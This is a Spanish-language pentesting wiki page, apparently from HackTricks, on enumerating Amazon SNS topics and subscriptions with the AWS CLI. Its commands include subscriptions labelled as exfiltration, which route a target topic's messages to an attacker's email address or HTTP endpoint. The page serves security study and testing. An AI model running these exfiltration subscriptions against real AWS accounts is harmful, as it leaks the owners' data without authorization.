# AWS - SNS Enum {{#include ../../../banners/hacktricks-training.md}} ## SNS Amazon Simple Notification Service (Amazon SNS) se describe como un **servicio de mensajería completamente gestionado**. Soporta tanto tipos de comunicación **de aplicación a aplicación** (A2A) como **de aplicación a persona** (A2P). Las características clave para la comunicación A2A incluyen **mecanismos de publicación/suscripción (pub/sub)**. Estos mecanismos introducen **temas**, cruciales para habilitar mensajería **basada en push, de alto rendimiento y de muchos a muchos**. Esta característica es altamente ventajosa en escenarios que involucran sistemas distribuidos, microservicios y arquitecturas sin servidor impulsadas por eventos. Al aprovechar estos temas, los sistemas publicadores pueden distribuir mensajes de manera eficiente a una **amplia gama de sistemas suscriptores**, facilitando un patrón de mensajería de fanout. ### **Diferencia con SQS** **SQS** es un servicio **basado en colas** que permite la comunicación punto a punto, asegurando que los mensajes sean procesados por un **único consumidor**. Ofrece **entrega al menos una vez**, soporta colas estándar y FIFO, y permite la retención de mensajes para reintentos y procesamiento retrasado.\ Por otro lado, **SNS** es un servicio **basado en publicación/suscripción**, que permite la comunicación **de uno a muchos** al transmitir mensajes a **múltiples suscriptores** simultáneamente. Soporta **varios puntos de suscripción como correo electrónico, SMS, funciones Lambda y HTTP/HTTPS**, y proporciona mecanismos de filtrado para la entrega de mensajes dirigida.\ Mientras que ambos servicios permiten desacoplar componentes en sistemas distribuidos, SQS se centra en la comunicación en cola, y SNS enfatiza patrones de comunicación impulsados por eventos y de fan-out. ### **Enumeración** ```bash # Get topics & subscriptions aws sns list-topics aws sns list-subscriptions aws sns list-subscriptions-by-topic --topic-arn # Check privescs & post-exploitation aws sns publish --region \ --topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \ --message file://message.txt # Exfiltrate through email ## You will receive an email to confirm the subscription aws sns subscribe --region \ --topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \ --protocol email \ --notification-endpoint my-email@example.com # Exfiltrate through web server ## You will receive an initial request with a URL in the field "SubscribeURL" ## that you need to access to confirm the subscription aws sns subscribe --region \ --protocol http \ --notification-endpoint http:/// \ --topic-arn ``` > [!CAUTION] > Tenga en cuenta que si el **tema es de tipo FIFO**, solo se pueden usar suscriptores que utilicen el protocolo **SQS** (no se puede usar HTTP o HTTPS). > > Además, incluso si el `--topic-arn` contiene la región, asegúrese de especificar la región correcta en **`--region`** o recibirá un error que indica que no tiene acceso, pero el problema es la región. #### Acceso No Autenticado {{#ref}} ../aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md {{#endref}} #### Escalación de Privilegios {{#ref}} ../aws-privilege-escalation/aws-sns-privesc.md {{#endref}} #### Post Explotación {{#ref}} ../aws-post-exploitation/aws-sns-post-exploitation.md {{#endref}} #### Persistencia {{#ref}} ../aws-persistence/aws-sns-persistence.md {{#endref}} ## Referencias - [https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/](https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/) {{#include ../../../banners/hacktricks-training.md}}